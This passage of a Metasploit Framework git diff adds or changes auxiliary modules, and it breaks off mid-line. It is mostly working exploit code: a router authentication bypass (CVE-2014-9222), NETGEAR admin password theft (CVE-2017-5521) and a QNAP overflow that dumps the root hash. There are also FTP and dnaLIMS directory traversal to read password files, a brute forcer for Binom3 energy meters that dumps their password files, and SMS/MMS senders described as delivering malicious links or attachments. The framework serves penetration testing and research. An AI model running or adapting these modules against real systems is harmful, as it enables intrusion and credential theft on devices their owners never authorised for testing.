Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info( + info, + 'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass", + 'Description' => %q( + This module exploits HTTP servers that appear to be vulnerable to the + 'Misfortune Cookie' vulnerability which affects Allegro Software + Rompager versions before 4.34 and can allow attackers to authenticate + to the HTTP service as an administrator without providing valid + credentials. + ), + 'Author' => [ + 'Jon Hart ', # metasploit scanner module + 'Jan Trencansky ', # metasploit auxiliary admin module + 'Lior Oppenheim' # CVE-2014-9222 + ], + 'References' => [ + ['CVE', '2014-9222'], + ['URL', 'http://mis.fortunecook.ie'], + ['URL', 'http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices + ['URL', 'http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC + ], + 'DisclosureDate' => 'Dec 17 2014', + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'URI to test', '/']), + ], Exploit::Remote::HttpClient + ) + end + + def headers + { + 'Referer' => full_uri + } + end + + # List of known values and models + def devices_list + { + :'AZ-D140W'=> + {:name=>'Azmoon', :model=>'AZ-D140W', :values=>[ + [107367693, 13] + ]}, + :'BiPAC 5102S'=> + {:name=>'Billion', :model=>'BiPAC 5102S', :values=>[ + [107369694, 13] + ]}, + :'BiPAC 5200'=> + {:name=>'Billion', :model=>'BiPAC 5200', :values=>[ + [107369545, 9], + [107371218, 21] + ]}, + :'BiPAC 5200A'=> + {:name=>'Billion', :model=>'BiPAC 5200A', :values=>[ + [107366366, 25], + [107371453, 9] + ]}, + :'BiPAC 5200GR4'=> + {:name=>'Billion', :model=>'BiPAC 5200GR4', :values=>[ + [107367690, 21] + ]}, + :'BiPAC 5200SRD'=> + {:name=>'Billion', :model=>'BiPAC 5200SRD', :values=>[ + [107368270, 1], + [107371378, 3], + [107371218, 13] + ]}, + :'DSL-2520U'=> + {:name=>'D-Link', :model=>'DSL-2520U', :values=>[ + [107368902, 25] + ]}, + :'DSL-2600U'=> + {:name=>'D-Link', :model=>'DSL-2600U', :values=>[ + [107366496, 13], + [107360133, 20] + ]}, + :'TD-8616'=> + {:name=> 'TP-Link', :model=>'TD-8616', :values=>[ + [107371483, 21], + [107369790, 17], + [107371161, 1], + [107371426, 17], + [107370211, 5], + ]}, + :'TD-8817'=> + {:name=> 'TP-Link', :model=>'TD-8817', :values=>[ + [107369790, 17], + [107369788, 1], + [107369522, 25], + [107369316, 21], + [107369321, 9], + [107351277, 20] + ]}, + :'TD-8820'=> + {:name=>'TP-Link', :model=>'TD-8820', :values=>[ + [107369768, 17] + ]}, + :'TD-8840T'=> + {:name=>'TP-Link', :model=>'TD-8840T', :values=>[ + [107369845, 5], + [107369790, 17], + [107369570, 1], + [107369766, 1], + [107369764, 5], + [107369688, 17] + ]}, + :'TD-W8101G'=> + {:name=>'TP-Link', :model=>'TD-W8101G', :values=>[ + [107367772, 37], + [107367808, 21], + [107367751, 21], + [107367749, 13], + [107367765, 25], + [107367052, 25], + [107365835, 1] + ]}, + :'TD-W8151N'=> + {:name=>'TP-Link', :model=>'TD-W8151N', :values=>[ + [107353867, 24] + ]}, + :'TD-W8901G'=> + {:name=> 'TP-Link', :model=>'TD-W8901G', :values=>[ + [107367787, 21], + [107368013, 5], + [107367854, 9], + [107367751, 21], + [107367749, 13], + [107367765, 25], + [107367682, 21], + [107365835, 1], + [107367052, 25] + ]}, + :'TD-W8901GB'=> + {:name=>'TP-Link', :model=>'TD-W8901GB', :values=>[ + [107367756, 13], + [107369393, 21] + ]}, + :'TD-W8901N'=> + {:name=>'TP-Link', :model=>'TD-W8901N', :values=>[ + [107353880, 0] + ]}, + :'TD-W8951ND'=> + {:name=>'TP-Link', :model=>'TD-W8951ND', :values=>[ + [107369839, 25], + [107369876, 13], + [107366743, 21], + [107364759, 25], + [107364759, 13], + [107364760, 21] + ]}, + :'TD-W8961NB'=> + {:name=>'TP-Link', :model=>'TD-W8961NB', :values=>[ + [107369844, 17], + [107367629, 21], + [107366421, 13] + ]}, + :'TD-W8961ND'=> + {:name=>'TP-Link', :model=>'TD-W8961ND', :values=>[ + [107369839, 25], + [107369876, 13], + [107364732, 25], + [107364771, 37], + [107364762, 29], + [107353880, 0], + [107353414, 36] + ]}, + :'P-660R-T3 v3'=> #This value works on devices with model P-660R-T3 v3 not P-660R-T3 v3s + {:name=>'ZyXEL', :model=>'P-660R-T3', :values=>[ + [107369567, 21] + ]}, + :'P-660RU-T3 v2'=> #Couldn't verify this + {:name=>'ZyXEL', :model=>'P-660R-T3', :values=>[ + [107369567, 21] + ]}, + } + end + + + def check_response_fingerprint(res, fallback_status) + fp = http_fingerprint(response: res) + vprint_status("Fingerprint: #{fp}") + if /realm="(?.+)"/ =~ fp + return model + end + fallback_status + end + + def run + res = send_request_raw( + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'GET', + ) + model = check_response_fingerprint(res, Exploit::CheckCode::Detected) + if model != Exploit::CheckCode::Detected + devices = devices_list[model.to_sym] + if devices != nil + print_good("Detected device:#{devices[:name]} #{devices[:model]}") + devices[:values].each { |value| + cookie = "C#{value[0]}=#{'B'*value[1]}\x00" + res = send_request_raw( + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'GET', + 'headers' => headers.merge('Cookie' => cookie) + ) + if res != nil and res.code <= 302 + print_good('Good response, please check host, authentication should be disabled') + break + else + print_error('Bad response') + end + } + else + print_error("No matching values for fingerprint #{model}") + end + else + print_error('Unknown device') + end + end +end diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index c0636e47c6..6e20542aee 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -require 'rapid7/nexpose' +require 'nexpose' class MetasploitModule < Msf::Auxiliary @@ -74,9 +74,10 @@ class MetasploitModule < Msf::Auxiliary def run user = datastore['USERNAME'] pass = datastore['PASSWORD'] + trust_store = datastore['TRUST_STORE'] prot = ssl ? 'https' : 'http' - nsc = Nexpose::Connection.new(rhost, user, pass, rport) + nsc = Nexpose::Connection.new(rhost, user, pass, rport, nil, nil, trust_store) print_status("Authenticating as: " << user) begin @@ -140,7 +141,7 @@ class MetasploitModule < Msf::Auxiliary print_status("Cleaning up") begin - nsc.site_delete id + nsc.delete_site id rescue print_warning("Error while cleaning up site ID, manual cleanup required!") end diff --git a/modules/auxiliary/client/hwbridge/connect.rb b/modules/auxiliary/client/hwbridge/connect.rb index 01418ddf46..8a74bb3ec8 100644 --- a/modules/auxiliary/client/hwbridge/connect.rb +++ b/modules/auxiliary/client/hwbridge/connect.rb @@ -67,6 +67,8 @@ class MetasploitModule < Msf::Auxiliary if res.code == 200 print_status res.body if datastore['DEBUGJSON'] == true return JSON.parse(res.body) + elsif res.code == 401 + print_error "Access Denied: #{res.body}" end return nil @@ -98,6 +100,9 @@ class MetasploitModule < Msf::Auxiliary if self.hw_specialty.key? "automotive" sess.load_automotive if self.hw_specialty["automotive"] == true end + if self.hw_specialty.has_key? "zigbee" + sess.load_zigbee if self.hw_specialty["zigbee"] == true + end end # diff --git a/modules/auxiliary/client/mms/send_mms.rb b/modules/auxiliary/client/mms/send_mms.rb new file mode 100644 index 0000000000..f7b8f250ce --- /dev/null +++ b/modules/auxiliary/client/mms/send_mms.rb @@ -0,0 +1,35 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Mms + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MMS Client', + 'Description' => %q{ + This module sends an MMS message to multiple phones of the same carrier. + You can use it to send a malicious attachment to phones. + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE + )) + end + + def run + phone_numbers = datastore['CELLNUMBERS'].split + print_status("Sending mms message to #{phone_numbers.length} number(s)...") + begin + res = send_mms(phone_numbers, datastore['MMSSUBJECT'], datastore['TEXTMESSAGE'], datastore['MMSFILE'], datastore['MMSFILECTYPE']) + print_status("Done.") + rescue Rex::Proto::Mms::Exception => e + print_error(e.message) + end + end + +end diff --git a/modules/auxiliary/client/sms/send_text.rb b/modules/auxiliary/client/sms/send_text.rb new file mode 100644 index 0000000000..8dbff90190 --- /dev/null +++ b/modules/auxiliary/client/sms/send_text.rb @@ -0,0 +1,38 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Sms + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SMS Client', + 'Description' => %q{ + This module sends a text message to multiple phones of the same carrier. + You can use it to send a malicious link to phones. + + Please note that you do not use this module to send a media file (attachment). + In order to send a media file, please use auxiliary/client/mms/send_mms instead. + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE + )) + end + + def run + phone_numbers = datastore['CELLNUMBERS'].split + print_status("Sending text (#{datastore['SMSMESSAGE'].length} bytes) to #{phone_numbers.length} number(s)...") + begin + res = send_text(phone_numbers, datastore['SMSMESSAGE']) + print_status("Done.") + rescue Rex::Proto::Sms::Exception => e + print_error(e.message) + end + end + +end diff --git a/modules/auxiliary/crawler/msfcrawler.rb b/modules/auxiliary/crawler/msfcrawler.rb index 991f98e23d..3d4a0341e5 100644 --- a/modules/auxiliary/crawler/msfcrawler.rb +++ b/modules/auxiliary/crawler/msfcrawler.rb @@ -180,14 +180,18 @@ class MetasploitModule < Msf::Auxiliary def storedb(hashreq,response,dbpath) + # Added host/port/ssl for report_web_page support info = { :web_site => @current_site, :path => hashreq['uri'], :query => hashreq['query'], - :data => hashreq['data'], - :code => response['code'], - :body => response['body'], - :headers => response['headers'] + :host => hashreq['rhost'], + :port => hashreq['rport'], + :ssl => !hashreq['ssl'].nil?, + :data => hashreq['data'], + :code => response.code, + :body => response.body, + :headers => response.headers } #if response['content-type'] diff --git a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb index 4f8e978363..2e89edc31a 100644 --- a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb +++ b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(25), - OptInt.new("STARTLEN", [true, "Lenght of the string - start number", 100] ), + OptInt.new("STARTLEN", [true, "Length of the string - start number", 100] ), OptInt.new("INTERACTIONS", [false, "Number of interactions to run", 100] ), OptBool.new("RESPECTORDER", [false, "Respect order of commands", true] ), OptEnum.new("CMD", [true,"Command to fuzzer",'EHLO', diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb new file mode 100644 index 0000000000..0be849fa98 --- /dev/null +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NETGEAR Administrator Password Disclosure', + 'Description' => %q{ + This module will collect the password for the `admin` user. + The exploit will not complete if password recovery is set on the router. + The password is received by passing the token generated from `unauth.cgi` + to `passwordrecovered.cgi`. This exploit works on many different NETGEAR + products. The full list of affected products is available in the 'References' + section. + + }, + 'Author' => + [ + 'Simon Kenin', # Vuln Discovery, PoC + 'thecarterb' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2017-5521' ], + [ 'URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-003/?fid=8911' ], + [ 'URL', 'http://thehackernews.com/2017/01/Netgear-router-password-hacking.html'], + [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2017-5521--Bypassing-Authentication-on-NETGEAR-Routers/'], + [ 'URL', 'http://pastebin.com/dB4bTgxz'], + [ 'EDB', '41205'] + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString::new('TARGETURI', [true, 'The base path to the vulnerable application', '/']) + ], self.class) + end + + # @return substring of 'text', usually a response from a server in this case + def scrape(text, start_trig, end_trig) + text[/#{start_trig}(.*?)#{end_trig}/m, 1] + end + + def run + uri = target_uri.path + uri = normalize_uri(uri) + print_status("Checking if #{rhost} is a NETGEAR router") + vprint_status("Sending request to http://#{rhost}/") + + # will always call check no matter what + is_ng = check + + res = send_request_cgi({ 'uri' => uri }) + if res.nil? + print_error("#{rhost} returned an empty response.") + return + end + + if is_ng == Exploit::CheckCode::Detected + marker_one = "id=" + marker_two = "\"" + token = scrape(res.to_s, marker_one, marker_two) + if token.nil? + print_error("#{rhost} is not vulnerable: Token not found") + return + end + + if token == '0' + print_status("If no creds are found, try the exploit again. #{rhost} returned a token of 0") + end + print_status("Token found: #{token}") + vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}") + + r = send_request_cgi({ + 'uri' => "/passwordrecovered.cgi", + 'vars_get' => { 'id' => token } + }) + + vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}") + + html = r.get_html_document + raw_html = html.text + + username = scrape(raw_html, "Router Admin Username", "Router Admin Password") + password = scrape(raw_html, "Router Admin Password", "You can") + if username.nil? || password.nil? + print_error("#{rhost} returned empty credentials") + return + end + username.strip! + password.strip! + + if username.empty? || password.empty? + print_error("No Creds found") + else + print_good("Creds found: #{username}/#{password}") + end + else + print_error("#{rhost} is not vulnerable: Not a NETGEAR device") + end + end + + # Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response + # This checks the response for that header. + def check + + res = send_request_cgi({'uri'=>'/'}) + if res.nil? + fail_with(Failure::Unreachable, 'Connection timed out.') + end + + # Checks for the `WWW-Authenticate` header in the response + if res.headers["WWW-Authenticate"] + data = res.to_s + marker_one = "Basic realm=\"" + marker_two = "\"" + model = data[/#{marker_one}(.*?)#{marker_two}/m, 1] + print_good("Router is a NETGEAR router (#{model})") + return Exploit::CheckCode::Detected + else + print_error('Router is not a NETGEAR router') + return Exploit::CheckCode::Safe + end + end +end diff --git a/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb b/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb new file mode 100644 index 0000000000..597ea66365 --- /dev/null +++ b/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb @@ -0,0 +1,206 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'QNAP NAS/NVR Administrator Hash Disclosure', + 'Description' => %q{ + This module exploits combined heap and stack buffer overflows for QNAP + NAS and NVR devices to dump the admin (root) shadow hash from memory via + an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace. + + A binary search is performed to find the correct offset for the BOFs. + Since the server forks, blind remote exploitation is possible, provided + the heap does not have ASLR. + }, + 'Author' => [ + 'bashis', # Vuln/PoC + 'wvu', # Module + 'Donald Knuth' # Algorithm + ], + 'References' => [ + ['URL', 'http://seclists.org/fulldisclosure/2017/Feb/2'], + ['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm'] + ], + 'DisclosureDate' => 'Jan 31 2017', + 'License' => MSF_LICENSE, + 'Actions' => [ + ['Automatic', 'Description' => 'Automatic targeting'], + ['x86', 'Description' => 'x86 target', offset: 0x16b2], + ['ARM', 'Description' => 'ARM target', offset: 0x1562] + ], + 'DefaultAction' => 'Automatic', + 'DefaultOptions' => { + 'SSL' => true + } + )) + + register_options([ + Opt::RPORT(443), + OptInt.new('OFFSET_START', [true, 'Starting offset (backtrace)', 2000]), + OptInt.new('OFFSET_END', [true, 'Ending offset (no backtrace)', 5000]), + OptInt.new('RETRIES', [true, 'Retry count for the attack', 10]) + ]) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/cgi-bin/authLogin.cgi' + ) + + if res && res.code == 200 && (xml = res.get_xml_document) + info = [] + + %w{modelName version build patch}.each do |node| + info << xml.at("//#{node}").text + end + + @target = (xml.at('//platform').text == 'TS-NASX86' ? 'x86' : 'ARM') + vprint_status("QNAP #{info[0]} #{info[1..-1].join('-')} detected") + + if Gem::Version.new(info[1]) < Gem::Version.new('4.2.3') + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Detected + end + else + Exploit::CheckCode::Safe + end + end + + def run + if check == Exploit::CheckCode::Safe + print_error('Device does not appear to be a QNAP') + return + end + + admin_hash = nil + + (0..datastore['RETRIES']).each do |attempt| + vprint_status("Retry #{attempt} in progress") if attempt > 0 + break if (admin_hash = dump_hash) + end + + if admin_hash + print_good("Hopefully this is your hash: #{admin_hash}") + report_note( + host: rhost, + port: rport, + type: 'qnap.admin.hash', + data: admin_hash + ) + else + print_error('Looks like we didn\'t find the hash :(') + end + + vprint_status("#{@cnt} HTTP requests were sent during module run") + end + + def dump_hash + l = datastore['OFFSET_START'] + r = datastore['OFFSET_END'] + + start = Time.now + t = binsearch(l, r) + stop = Time.now + + time = stop - start + vprint_status("Binary search of #{l}-#{r} completed in #{time}s") + + if action.name == 'Automatic' + target = actions.find do |tgt| + tgt.name == @target + end + else + target = action + end + + return if t.nil? || @offset.nil? || target.nil? + + offset = @offset - target[:offset] + + find_hash(t, offset) + end + + def find_hash(t, offset) + admin_hash = nil + + # Off by one or two... + 2.times do + t += 1 + + if (res = send_request(t, [offset].pack('V'))) + if (backtrace = find_backtrace(res)) + token = backtrace[0].split[4] + end + end + + if token && token.start_with?('$1$') + admin_hash = token + addr = "0x#{offset.to_s(16)}" + vprint_status("Admin hash found at #{addr} with offset #{t}") + break + end + end + + admin_hash + end + + # Shamelessly stolen from Knuth + def binsearch(l, r) + return if l > r + + @m = ((l + r) / 2).floor + + res = send_request(@m) + + return if res.nil? + + if find_backtrace(res) + l = @m + 1 + else + r = @m - 1 + end + + binsearch(l, r) + + @m + end + + def send_request(m, ret = nil) + @cnt = @cnt.to_i + 1 + + payload = Rex::Text.encode_base64( + Rex::Text.rand_text(1) * m + + (ret ? ret : Rex::Text.rand_text(4)) + ) + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/cgi-bin/cgi.cgi', + #'vhost' => 'Q', + 'vars_get' => { + 'u' => 'admin', + 'p' => payload + } + ) + + res + end + + def find_backtrace(res) + res.headers.find do |name, val| + if name.include?('glibc detected') + @offset = val.split[-2].to_i(16) + end + end + end + +end diff --git a/modules/auxiliary/pdf/foxit/authbypass.rb b/modules/auxiliary/pdf/foxit/authbypass.rb index bcf0040fa6..aaf8bc43fa 100644 --- a/modules/auxiliary/pdf/foxit/authbypass.rb +++ b/modules/auxiliary/pdf/foxit/authbypass.rb @@ -33,8 +33,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('CMD', [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']), - OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']), - OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']), + OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']) ], self.class) end diff --git a/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb b/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb new file mode 100644 index 0000000000..f7bfed8ee1 --- /dev/null +++ b/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::Ftp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Easy File Sharing FTP Server 3.6 Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier. + This vulnerability allows an attacker to download arbitrary files from the server by crafting + a RETR command that includes file system traversal strings such as '../' + }, + 'Platform' => 'win', + 'Author' => + [ + 'Ahmed Elhady Mohamed' # @kingasmk ahmed.elhady.mohamed[at]gmail.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2017-6510'] + ], + 'DisclosureDate' => 'Mar 07 2017' + )) + + register_options( + [ + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]), + OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) + ], self.class) + end + + def check_host(ip) + begin + connect + if /Easy File Sharing FTP Server/i === banner + return Exploit::CheckCode::Detected + end + ensure + disconnect + end + + Exploit::CheckCode::Safe + end + + def run_host(target_host) + begin + # Login anonymously and open the socket that we'll use for data retrieval. + connect_login + sock = data_connect + if sock.nil? + error_msg = 'data_connect failed; posssible invalid response' + print_status(error_msg) + elog(error_msg) + else + file_path = datastore['PATH'] + file = ::File.basename(file_path) + + # make RETR request and store server response message... + retr_cmd = ( "../" * datastore['DEPTH'] ) + "#{file_path}" + res = send_cmd( ["RETR", retr_cmd]) + + # read the file data from the socket that we opened + # dont assume theres still a sock to read from. Per #7582 + if sock.nil? + error_msg = 'data_connect failed; posssible invalid response' + print_status(error_msg) + elog(error_msg) + return + else + # read the file data from the socket that we opened + response_data = sock.read(1024) + end + + unless response_data + print_error("#{file_path} not found") + return + end + + if response_data.length == 0 or ! (res =~ /^150/ ) + print_status("File (#{file_path})from #{peer} is empty...") + return + end + + # store file data to loot + loot_file = store_loot("easy.file.sharing.ftp.data", "text", rhost, response_data, file, file_path) + vprint_status("Data returned:\n") + vprint_line(response_data) + print_good("Stored #{file_path} to #{loot_file}") + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") + rescue ::Timeout::Error, ::Errno::EPIPE => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") + ensure + data_disconnect + disconnect + end + end +end diff --git a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb new file mode 100644 index 0000000000..f07ad9bb96 --- /dev/null +++ b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb @@ -0,0 +1,208 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Binom3 Web Management Login Scanner, Config and Password File Dump', + 'Description' => %{ + This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer + management login portal(s), and attempts to identify valid credentials. + There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. + In addition to device config, 'root' user can also access password file. + Other users - admin, alg, user - can only access configuration file. + The module attempts to download configuration and password files depending on the login user credentials found. + }, + 'References' => + [ + ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-031-01'] + ], + 'Author' => + [ + 'Karn Ganeshen ' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'VERBOSE' => true }) + ) + + register_options( + [ + Opt::RPORT(80), # Application may run on a different port too. Change port accordingly. + OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'root']), + OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'root']) + ], self.class + ) + end + + def run_host(ip) + unless is_app_binom3? + return + end + + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + # + # Check if App is Binom3 + # + + def is_app_binom3? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + if (res && res.code == 200 && res.headers['Server'] && (res.headers['Server'].include?('Team-R Web') || res.body.include?('binom_ico') || res.body.include?('team-r'))) + + print_good("#{rhost}:#{rport} - Binom3 confirmed...") + + return true + else + print_error("#{rhost}:#{rport} - Application does not appear to be Binom3. Module will not continue.") + return false + end + end + + # + # Brute-force the login page + # + + def do_login(user, pass) + print_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + begin + + res = send_request_cgi( + { + 'uri' => '/~login', + 'method' => 'POST', + 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' }, + 'vars_post' => + { + 'login' => user, + 'password' => pass + } + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + + end + + if (res && res.code == 302 && res.get_cookies.include?('IDSESSION')) + + print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + + report_cred( + ip: rhost, + port: rport, + service_name: 'Binom3', + user: user, + password: pass + ) + + # Set Cookie + + get_cookie = res.get_cookies + cookie = get_cookie + ' NO-HELP=true; onlyRu=1' + + # Attempting to download config file + + config_uri = '~cfg_ask_xml?type=cfg' + + res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie }) + + if res && res.code == 200 + vprint_status('++++++++++++++++++++++++++++++++++++++') + vprint_status("#{rhost} - dumping configuration") + vprint_status('++++++++++++++++++++++++++++++++++++++') + + print_good("#{rhost}:#{rport} - Configuration file retrieved successfully!") + path = store_loot( + 'Binom3_config', + 'text/xml', + rhost, + res.body, + rport, + 'Binom3 device config' + ) + print_status("#{rhost}:#{rport} - Configuration file saved in: #{path}") + else + print_error("#{rhost}:#{rport} - Failed to retrieve configuration") + return + end + + # Attempt to dump password file + config_uri = '~cfg_ask_xml?type=passw' + res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie }) + + if res && res.code == 200 + vprint_status('++++++++++++++++++++++++++++++++++++++') + vprint_status("#{rhost} - dumping password file") + vprint_status('++++++++++++++++++++++++++++++++++++++') + + print_good("#{rhost}:#{rport} - Password file retrieved successfully!") + path = store_loot( + 'Binom3_passw', + 'text/xml', + rhost, + res.body, + rport, + 'Binom3 device config' + ) + print_status("#{rhost}:#{rport} - Password file saved in: #{path}") + else + return + end + else + print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + end + end +end diff --git a/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb b/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb new file mode 100644 index 0000000000..8ba8c83828 --- /dev/null +++ b/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb @@ -0,0 +1,81 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DnaLIMS Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in dnaLIMS. + Due to the way the viewAppletFsa.cgi script handles the 'secID' parameter, it is possible + to read a file outside the www directory. + }, + 'References' => + [ + ['CVE', '2017-6527'], + ['US-CERT-VU', '929263'], + ['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/'] + ], + 'Author' => + [ + 'h00die ', # Discovery, PoC + 'flakey_biscuit ' # Discovery, PoC + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Mar 8 2017" + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']), + OptString.new('FILE', [ true, "The path to the file to view", '/home/dna/spool/.pfile']), # password db for app + OptInt.new('DEPTH', [true, 'The traversal depth', 4]) + ], self.class) + + deregister_options('RHOST') + end + + + def run_host(ip) + file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "#{datastore['FILE']}" + traverse = "../" * datastore['DEPTH'] + uri = normalize_uri(target_uri.path) + base = File.dirname("#{uri}/.") + + print_status("Requesting: #{file} - #{rhost}") + res = send_request_cgi({ + 'uri' => "#{base}/viewAppletFsa.cgi", + 'vars_get' => { 'secID' => "#{traverse}#{file}%00", + 'Action' => 'blast', + 'hidenav' => '1' + } + }) + + if not res + print_error("No response from server.") + return + end + + if res.code != 200 + print_error("Server returned a non-200 response (body will not be saved):") + print_line(res.to_s) + return + end + + vprint_good(res.body) + p = 